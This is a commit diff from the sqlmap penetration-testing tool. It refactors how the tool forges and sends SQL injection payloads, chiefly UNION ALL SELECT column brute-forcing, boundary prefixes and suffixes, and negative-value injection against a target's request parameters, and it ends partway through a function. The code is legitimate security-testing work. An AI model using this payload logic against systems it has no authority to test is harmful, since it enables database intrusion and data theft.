First big commit to move UNION query tests to detection phase - there are some improvements and tuning to do yet though.

Major refactoring to Agent.payload() method.
Minor bug fixes, some code refactoring and a lot of core adjustments here and there.
Added more checks for injection in GROUP BY and ORDER BY.
This commit is contained in:
Bernardo Damele 2011-01-11 22:18:47 +00:00
parent 06230e4d92
commit 300128042c
10 changed files with 254 additions and 200 deletions

View File

@ -32,6 +32,7 @@ from lib.core.common import trimAlphaNum
from lib.core.common import wasLastRequestDBMSError from lib.core.common import wasLastRequestDBMSError
from lib.core.common import wasLastRequestHTTPError from lib.core.common import wasLastRequestHTTPError
from lib.core.common import DynamicContentItem from lib.core.common import DynamicContentItem
from lib.core.common import configUnion
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -55,8 +56,12 @@ from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.request.templates import getPageTemplate from lib.request.templates import getPageTemplate
from lib.techniques.inband.union.test import unionTest
def unescape(string, dbms): def unescape(string, dbms):
if string is None:
return string
if dbms in unescaper and "WAITFOR DELAY " not in string: if dbms in unescaper and "WAITFOR DELAY " not in string:
return unescaper[dbms](string) return unescaper[dbms](string)
else: else:
@ -84,8 +89,9 @@ def checkSqlInjection(place, parameter, value):
# Set the flag for sql injection test mode # Set the flag for sql injection test mode
kb.testMode = True kb.testMode = True
for test in getInjectionTests(): #for test in getInjectionTests():
try: for test in conf.tests:
try:
if kb.endDetection: if kb.endDetection:
break break
@ -143,11 +149,12 @@ def checkSqlInjection(place, parameter, value):
continue continue
if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\ # NOTE: Leave this commented for the time being
and kb.skipTests is None: #if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes() and kb.skipTests is None:
message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted() # msg = "parsed error message(s) showed that the "
message += " do you want to skip test payloads specific for other DBMSes? [Y/n]" # msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N") # msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
# kb.skipTests = conf.realTest or readInput(msg, default="Y") not in ("n", "N")
if kb.skipTests: if kb.skipTests:
debugMsg = "skipping test '%s' because " % title debugMsg = "skipping test '%s' because " % title
@ -189,7 +196,6 @@ def checkSqlInjection(place, parameter, value):
comment = agent.getComment(test.request) comment = agent.getComment(test.request)
fstPayload = agent.cleanupPayload(test.request.payload, value) fstPayload = agent.cleanupPayload(test.request.payload, value)
fstPayload = unescapeDbms(fstPayload, injection, dbms) fstPayload = unescapeDbms(fstPayload, injection, dbms)
fstPayload = "%s%s" % (fstPayload, comment)
if stype != 4 and clause != [2, 3] and clause != [ 3 ]: if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
space = " " space = " "
@ -280,11 +286,11 @@ def checkSqlInjection(place, parameter, value):
if where == 1: if where == 1:
origValue = value origValue = value
elif where == 2: elif where == 2:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
origValue = "-%s" % randomInt() origValue = "-%s" % randomInt()
# Use different page template than the original one templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
# as we are changing parameters value, which will result
# most definitely with a different content
templatePayload = agent.payload(place, parameter, value, origValue)
elif where == 3: elif where == 3:
origValue = "" origValue = ""
@ -293,10 +299,11 @@ def checkSqlInjection(place, parameter, value):
# Forge request payload by prepending with boundary's # Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the # prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string # test's ' <payload><comment> ' string
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix) boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = boundPayload.strip() boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
boundPayload = agent.cleanupPayload(boundPayload, value) boundPayload = agent.cleanupPayload(boundPayload, value)
reqPayload = agent.payload(place, parameter, value, boundPayload) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
unionVector = None
# Perform the test's request and check whether or not the # Perform the test's request and check whether or not the
# payload was successful # payload was successful
@ -308,16 +315,15 @@ def checkSqlInjection(place, parameter, value):
if method == PAYLOAD.METHOD.COMPARISON: if method == PAYLOAD.METHOD.COMPARISON:
sndPayload = agent.cleanupPayload(test.response.comparison, value) sndPayload = agent.cleanupPayload(test.response.comparison, value)
sndPayload = unescapeDbms(sndPayload, injection, dbms) sndPayload = unescapeDbms(sndPayload, injection, dbms)
sndPayload = "%s%s" % (sndPayload, comment)
# Forge response payload by prepending with # Forge response payload by prepending with
# boundary's prefix and appending the boundary's # boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> ' # suffix to the test's ' <payload><comment> '
# string # string
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix) boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = boundPayload.strip() boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
boundPayload = agent.cleanupPayload(boundPayload, value) boundPayload = agent.cleanupPayload(boundPayload, value)
cmpPayload = agent.payload(place, parameter, value, boundPayload) cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Useful to set kb.matchRatio at first based on # Useful to set kb.matchRatio at first based on
# the False response content # the False response content
@ -337,7 +343,7 @@ def checkSqlInjection(place, parameter, value):
injectable = True injectable = True
# In case of error-based or UNION query SQL injections # In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP: elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response # Perform the test's request and grep the response
# body for the test's <grep> regular expression # body for the test's <grep> regular expression
@ -369,6 +375,20 @@ def checkSqlInjection(place, parameter, value):
injectable = True injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
conf.uChar = test.request.char
conf.uCols = test.request.columns
configUnion()
reqPayload, unionVector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# If the injection test was successful feed the injection # If the injection test was successful feed the injection
# object with the test's details # object with the test's details
if injectable is True: if injectable is True:
@ -396,7 +416,7 @@ def checkSqlInjection(place, parameter, value):
injection.data[stype].title = title injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False) injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
injection.data[stype].where = where injection.data[stype].where = where
injection.data[stype].vector = vector injection.data[stype].vector = agent.cleanupPayload(vector, unionVector=unionVector)
injection.data[stype].comment = comment injection.data[stype].comment = comment
injection.data[stype].matchRatio = kb.matchRatio injection.data[stype].matchRatio = kb.matchRatio
injection.data[stype].templatePayload = templatePayload injection.data[stype].templatePayload = templatePayload
@ -439,9 +459,6 @@ def checkSqlInjection(place, parameter, value):
kb.endDetection = True kb.endDetection = True
elif test[0] in ("q", "Q"): elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException raise sqlmapUserQuitException
finally:
# Flush the flag
kb.testMode = False
# Return the injection object # Return the injection object
if injection.place is not None and injection.parameter is not None: if injection.place is not None and injection.parameter is not None:
@ -466,8 +483,8 @@ def heuristicCheckSqlInjection(place, parameter, value):
if conf.suffix: if conf.suffix:
suffix = conf.suffix suffix = conf.suffix
payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
payload = agent.payload(place, parameter, value, payload) payload = agent.payload(place, parameter, newValue=payload)
Request.queryPage(payload, place, content=True, raise404=False) Request.queryPage(payload, place, content=True, raise404=False)
result = wasLastRequestDBMSError() result = wasLastRequestDBMSError()
@ -808,13 +825,14 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = page kb.originalPage = kb.pageTemplate = page
kb.errorIsNone = False kb.errorIsNone = False
if wasLastRequestDBMSError(): if wasLastRequestDBMSError():
warnMsg = "there is an (DBMS) error found in the content of provided target url" warnMsg = "there is a DBMS error found in the HTTP response body"
warnMsg += " which could interfere with the results of the tests" warnMsg += "which could interfere with the results of the tests"
logger.warn(warnMsg) logger.warn(warnMsg)
elif wasLastRequestHTTPError(): elif wasLastRequestHTTPError():
warnMsg = "there is an (HTTP) error found in the content of provided target url" warnMsg = "the web server responded with an HTTP error code "
warnMsg += " which could interfere with the results of the tests" warnMsg += "which could interfere with the results of the tests"
logger.warn(warnMsg) logger.warn(warnMsg)
else: else:
kb.errorIsNone = True kb.errorIsNone = True

View File

@ -110,8 +110,8 @@ def __formatInjection(inj):
return data return data
def __showInjections(): def __showInjections():
header = "sqlmap identified the following injection points " header = "sqlmap identified the following injection points with "
header += "with %d HTTP(s) requests" % kb.testQueryCount header += "a total of %d HTTP(s) requests" % kb.testQueryCount
data = "" data = ""
for inj in kb.injections: for inj in kb.injections:
@ -349,12 +349,11 @@ def start():
not simpletonCheckSqlInjection(place, parameter, value): not simpletonCheckSqlInjection(place, parameter, value):
continue continue
logMsg = "testing sql injection on %s " % place logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s'" % parameter logMsg += "parameter '%s'" % parameter
logger.info(logMsg) logger.info(logMsg)
injection = checkSqlInjection(place, parameter, value) injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection proceed = not kb.endDetection
if injection is not None and injection.place is not None: if injection is not None and injection.place is not None:
@ -373,7 +372,7 @@ def start():
paramKey = (conf.hostname, conf.path, None, None) paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey) kb.testedParams.add(paramKey)
else: else:
warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable" warnMsg += "injectable"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -386,6 +385,9 @@ def start():
errMsg = "it seems that all parameters are not injectable" errMsg = "it seems that all parameters are not injectable"
raise sqlmapNotVulnerableException, errMsg raise sqlmapNotVulnerableException, errMsg
else: else:
# Flush the flag
kb.testMode = False
__saveToSessionFile() __saveToSessionFile()
__showInjections() __showInjections()
__selectInjection() __selectInjection()

View File

@ -53,7 +53,7 @@ class Agent:
return query return query
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False): def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
""" """
This method replaces the affected parameter with the SQL This method replaces the affected parameter with the SQL
injection statement to request injection statement to request
@ -62,59 +62,38 @@ class Agent:
if conf.direct: if conf.direct:
return self.payloadDirect(newValue) return self.payloadDirect(newValue)
falseValue = "" retValue = ""
negValue = ""
retValue = ""
if negative or kb.unionNegative: if where is None and isTechniqueAvailable(kb.technique):
negValue = "-" where = kb.injection.data[kb.technique].where
# After identifing the injectable parameter if kb.injection.place is not None:
if kb.injection.place == PLACE.UA and kb.injection.parameter: place = kb.injection.place
retValue = kb.injection.parameter.replace(kb.injection.parameter,
self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
elif kb.injection.place and kb.injection.parameter:
paramString = conf.parameters[kb.injection.place]
paramDict = conf.paramDict[kb.injection.place]
origValue = paramDict[kb.injection.parameter]
if isTechniqueAvailable(kb.technique): if kb.injection.parameter is not None:
where = kb.injection.data[kb.technique].where parameter = kb.injection.parameter
if place == PLACE.UA:
retValue = parameter.replace(parameter, self.addPayloadDelimiters(parameter + newValue))
else:
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
if value is None:
if where == 1: if where == 1:
value = origValue value = origValue
elif where == 2: elif where == 2:
value = "-%s" % randomInt() value = "-%s" % randomInt()
elif where == 3: elif where == 3:
value = "" value = ""
else: else:
value = origValue value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue) newValue = self.cleanupPayload(newValue, origValue)
if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
root = ET.XML(paramString)
iterator = root.getiterator(kb.injection.parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
retValue = ET.tostring(root)
elif kb.injection.place == PLACE.URI:
retValue = paramString.replace("*",
self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
else:
retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue),
"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
# Before identifing the injectable parameter
elif parameter == PLACE.UA:
retValue = value.replace(value, self.addPayloadDelimiters(newValue))
elif place == PLACE.URI:
retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
else:
paramString = conf.parameters[place]
if "POSTxml" in conf.paramDict and place == PLACE.POST: if "POSTxml" in conf.paramDict and place == PLACE.POST:
root = ET.XML(paramString) root = ET.XML(paramString)
iterator = root.getiterator(parameter) iterator = root.getiterator(parameter)
@ -123,10 +102,13 @@ class Agent:
child.text = self.addPayloadDelimiters(newValue) child.text = self.addPayloadDelimiters(newValue)
retValue = ET.tostring(root) retValue = ET.tostring(root)
elif place == PLACE.URI:
retValue = paramString.replace("*", self.addPayloadDelimiters(newValue))
else: else:
retValue = paramString.replace("%s=%s" % (parameter, value), retValue = paramString.replace("%s=%s" % (parameter, origValue),
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue))) "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
# print "retValue:", retValue
return retValue return retValue
def fullPayload(self, query): def fullPayload(self, query):
@ -139,7 +121,7 @@ class Agent:
return payload return payload
def prefixQuery(self, string): def prefixQuery(self, string, prefix=None, where=None, clause=None):
""" """
This method defines how the input string has to be escaped This method defines how the input string has to be escaped
to perform the injection depending on the injection type to perform the injection depending on the injection type
@ -156,9 +138,10 @@ class Agent:
# payload, do not put a space after the prefix # payload, do not put a space after the prefix
if kb.technique == PAYLOAD.TECHNIQUE.STACKED: if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
query = kb.injection.prefix query = kb.injection.prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 3 ]: elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
if kb.technique != PAYLOAD.TECHNIQUE.UNION: query = prefix
query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
query = kb.injection.prefix
elif kb.technique and kb.technique in kb.injection.data: elif kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where where = kb.injection.data[kb.technique].where
@ -166,14 +149,17 @@ class Agent:
query = kb.injection.prefix query = kb.injection.prefix
if query is None: if query is None:
query = "%s " % kb.injection.prefix if kb.injection.prefix is None and prefix is not None:
query = "%s " % prefix
else:
query = "%s " % kb.injection.prefix
query = "%s%s" % (query, string) query = "%s%s" % (query, string)
query = self.cleanupPayload(query) query = self.cleanupPayload(query)
return query return query
def suffixQuery(self, string, comment=None): def suffixQuery(self, string, comment=None, suffix=None):
""" """
This method appends the DBMS comment to the This method appends the DBMS comment to the
SQL injection request SQL injection request
@ -185,12 +171,16 @@ class Agent:
if comment is not None: if comment is not None:
string += comment string += comment
string += " %s" % kb.injection.suffix if kb.injection.suffix is None and suffix is not None:
string += " %s" % suffix
else:
string += " %s" % kb.injection.suffix
string = self.cleanupPayload(string) string = self.cleanupPayload(string)
return string.rstrip() return string.rstrip()
def cleanupPayload(self, payload, origvalue=None): def cleanupPayload(self, payload, origvalue=None, unionVector=None):
if payload is None: if payload is None:
return return
@ -207,11 +197,9 @@ class Agent:
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop) payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space) payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
payload = payload.replace("[UNION]", str(unionVector))
if origvalue is not None: if origvalue is not None:
if not origvalue.isdigit():
origvalue = "'%s'" % origvalue
payload = payload.replace("[ORIGVALUE]", origvalue) payload = payload.replace("[ORIGVALUE]", origvalue)
if "[INFERENCE]" in payload: if "[INFERENCE]" in payload:
@ -228,14 +216,15 @@ class Agent:
payload = payload.replace("[INFERENCE]", inferenceQuery) payload = payload.replace("[INFERENCE]", inferenceQuery)
elif kb.misc.testedDbms is not None: elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None:
inferenceQuery = queries[kb.misc.testedDbms].inference.query inferenceQuery = queries[kb.misc.testedDbms].inference.query
payload = payload.replace("[INFERENCE]", inferenceQuery) payload = payload.replace("[INFERENCE]", inferenceQuery)
else: # NOTE: Leave this commented for the time being
errMsg = "invalid usage of inference payload without " #else:
errMsg += "knowledge of underlying DBMS" # errMsg = "invalid usage of inference payload without "
raise sqlmapNoneDataException, errMsg # errMsg += "knowledge of underlying DBMS"
# raise sqlmapNoneDataException, errMsg
return payload return payload
@ -483,7 +472,7 @@ class Agent:
return concatenatedQuery return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, multipleUnions=None): def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None):
""" """
Take in input an query (pseudo query) string and return its Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query. processed UNION ALL SELECT query.
@ -526,7 +515,7 @@ class Agent:
if query.startswith("SELECT "): if query.startswith("SELECT "):
query = query[len("SELECT "):] query = query[len("SELECT "):]
inbandQuery = self.prefixQuery("UNION ALL SELECT ") inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
if query.startswith("TOP"): if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1) topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
@ -584,8 +573,7 @@ class Agent:
if kb.dbms == DBMS.ORACLE: if kb.dbms == DBMS.ORACLE:
inbandQuery += " FROM DUAL" inbandQuery += " FROM DUAL"
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
inbandQuery = self.suffixQuery(inbandQuery, comment)
return inbandQuery return inbandQuery

View File

@ -1935,6 +1935,7 @@ def initTechnique(technique=None):
""" """
Prepares proper page template and match ratio for technique specified Prepares proper page template and match ratio for technique specified
""" """
try: try:
data = getTechniqueData(technique) data = getTechniqueData(technique)
@ -1945,7 +1946,8 @@ def initTechnique(technique=None):
warnMsg = "there is no injection data available for technique " warnMsg = "there is no injection data available for technique "
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
logger.warn(warnMsg) logger.warn(warnMsg)
except sqlmapDataException, ex:
except sqlmapDataException, _:
errMsg = "missing data in old session file(s). " errMsg = "missing data in old session file(s). "
errMsg += "please use '--flush-session' to deal " errMsg += "please use '--flush-session' to deal "
errMsg += "with this error" errMsg += "with this error"
@ -2063,3 +2065,35 @@ def openFile(filename, mode='r'):
('w' in mode or 'a' in mode or '+' in mode) else "read") ('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "and that it's not locked by another process." errMsg += "and that it's not locked by another process."
raise sqlmapFilePathException, errMsg raise sqlmapFilePathException, errMsg
def configUnion():
if isinstance(conf.uCols, basestring):
debugMsg = "setting the UNION query SQL injection range of columns"
logger.debug(debugMsg)
if "-" not in conf.uCols or len(conf.uCols.split("-")) != 2:
raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
conf.uCols = conf.uCols.replace(" ", "")
conf.uColsStart, conf.uColsStop = conf.uCols.split("-")
if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
raise sqlmapSyntaxException, "--union-cols must be a range of integers"
conf.uColsStart = int(conf.uColsStart)
conf.uColsStop = int(conf.uColsStop)
if conf.uColsStart > conf.uColsStop:
errMsg = "--union-cols range has to be from lower to "
errMsg += "higher number of columns"
raise sqlmapSyntaxException, errMsg
if isinstance(conf.uChar, basestring) and conf.uChar != "NULL":
debugMsg = "setting the UNION query SQL injection character to '%s'" % conf.uChar
logger.debug(debugMsg)
if not conf.uChar.isdigit() and ( not conf.uChar.startswith("'") or not conf.uChar.endswith("'") ):
debugMsg = "forcing the UNION query SQL injection character to '%s'" % conf.uChar
logger.debug(debugMsg)
conf.uChar = "'%s'" % conf.uChar

View File

@ -204,70 +204,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, char=None,
""" """
if comment: if comment:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Union comment") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment)))
kb.unionComment = comment kb.unionComment = comment
if count: if count:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Union count") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count))
kb.unionCount = count kb.unionCount = count
if position is not None: if position is not None:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Union position") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position))
kb.unionPosition = position kb.unionPosition = position
if negative: if negative:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union negative")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
kb.unionNegative = True kb.unionNegative = True
if char:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union char")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union char][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), char))
if payload: if payload:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union payload")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload))
kb.unionTest = payload kb.unionTest = payload
def setRemoteTempPath(): def setRemoteTempPath():

View File

@ -235,7 +235,7 @@ def cmdLineParser():
action="store_true", default=False, action="store_true", default=False,
help="Test for and use UNION query (inband) SQL injection") help="Test for and use UNION query (inband) SQL injection")
techniques.add_option("--union-cols", dest="uCols", default="1-20", techniques.add_option("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection") help="Range of columns to test for UNION query SQL injection")
techniques.add_option("--union-char", dest="uChar", default="NULL", techniques.add_option("--union-char", dest="uChar", default="NULL",

View File

@ -397,7 +397,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
if conf.direct: if conf.direct:
value = direct(expression) value = direct(expression)
elif kb.unionTest or any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression) query = cleanQuery(expression)
query = expandAsteriskForColumns(query) query = expandAsteriskForColumns(query)
value = None value = None
@ -414,7 +414,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
else: else:
forgeCaseExpression = agent.forgeCaseStatement(expression) forgeCaseExpression = agent.forgeCaseStatement(expression)
if inband and kb.unionTest is not None: if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION kb.technique = PAYLOAD.TECHNIQUE.UNION
if expected == EXPECTED.BOOL: if expected == EXPECTED.BOOL:

View File

@ -26,8 +26,9 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def __unionPosition(negative=False, count=None, comment=None): def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1):
validPayload = None validPayload = None
unionVector = None
if count is None: if count is None:
count = kb.unionCount count = kb.unionCount
@ -42,38 +43,40 @@ def __unionPosition(negative=False, count=None, comment=None):
randQueryUnescaped = unescaper.unescape(randQueryProcessed) randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request # Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment) query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
payload = agent.payload(newValue=query, negative=negative) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request # Perform the request
resultPage, _ = Request.queryPage(payload, content=True) resultPage, _ = Request.queryPage(payload, place=place, content=True)
if resultPage and randQuery in resultPage: if resultPage and randQuery in resultPage:
setUnion(position=exprPosition) setUnion(position=exprPosition)
validPayload = payload validPayload = payload
unionVector = agent.forgeInbandQuery("[PAYLOAD]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
if not negative: if where == 1:
# Prepare expression with delimiters # Prepare expression with delimiters
randQuery2 = randomStr() randQuery2 = randomStr()
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full inband SQL injection # Confirm that it is a full inband SQL injection
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, multipleUnions=randQueryUnescaped2) query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2)
payload = agent.payload(newValue=query, negative=negative) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)
# Perform the request # Perform the request
resultPage, _ = Request.queryPage(payload, content=True) resultPage, _ = Request.queryPage(payload, place=place, content=True)
if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage): if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
setUnion(negative=True) setUnion(negative=True)
break break
return validPayload return validPayload, unionVector
def __unionConfirm(count=None, comment=None): def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
validPayload = None validPayload = None
unionVector = None
# Confirm the inband SQL injection and get the exact column # Confirm the inband SQL injection and get the exact column
# position which can be used to extract data # position which can be used to extract data
@ -81,62 +84,64 @@ def __unionConfirm(count=None, comment=None):
debugMsg = "testing full inband with %s columns" % count debugMsg = "testing full inband with %s columns" % count
logger.debug(debugMsg) logger.debug(debugMsg)
validPayload = __unionPosition(count=count, comment=comment) validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
# Assure that the above function found the exploitable full inband # Assure that the above function found the exploitable full inband
# SQL injection position # SQL injection position
if not isinstance(kb.unionPosition, int): if not isinstance(kb.unionPosition, int):
debugMsg = "testing single-entry inband value with %s columns" % count debugMsg = "testing single-entry inband with %s columns" % count
logger.debug(debugMsg) logger.debug(debugMsg)
validPayload = __unionPosition(negative=True, count=count, comment=comment) validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)
# Assure that the above function found the exploitable partial # Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position with negative # (single entry) inband SQL injection position with negative
# parameter validPayload # parameter validPayload
if not isinstance(kb.unionPosition, int): if not isinstance(kb.unionPosition, int):
return None return None, None
else: else:
setUnion(negative=True) setUnion(negative=True)
return validPayload return validPayload, unionVector
def __unionTestByCharBruteforce(comment): def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
""" """
This method tests if the target url is affected by an inband This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns SQL injection vulnerability. The test is done up to 50 columns
on the target database table on the target database table
""" """
validPayload = None
unionVector = None
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
for num in range(conf.uColsStart, conf.uColsStop+1): for count in range(conf.uColsStart, conf.uColsStop+1):
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"): if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")] query = query[:-len(" FROM DUAL")]
if num: if count:
query += ", %s" % conf.uChar query += ", %s" % conf.uChar
if kb.dbms == DBMS.ORACLE: if kb.dbms == DBMS.ORACLE:
query += " FROM DUAL" query += " FROM DUAL"
if conf.verbose in (1, 2): if conf.verbose in (1, 2):
length = conf.uColsStop + 1 - conf.uColsStart status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%')
count = num - conf.uColsStart + 1
status = '%d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True) dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True)
validPayload = __unionConfirm(num, comment) dataToStdout("\n")
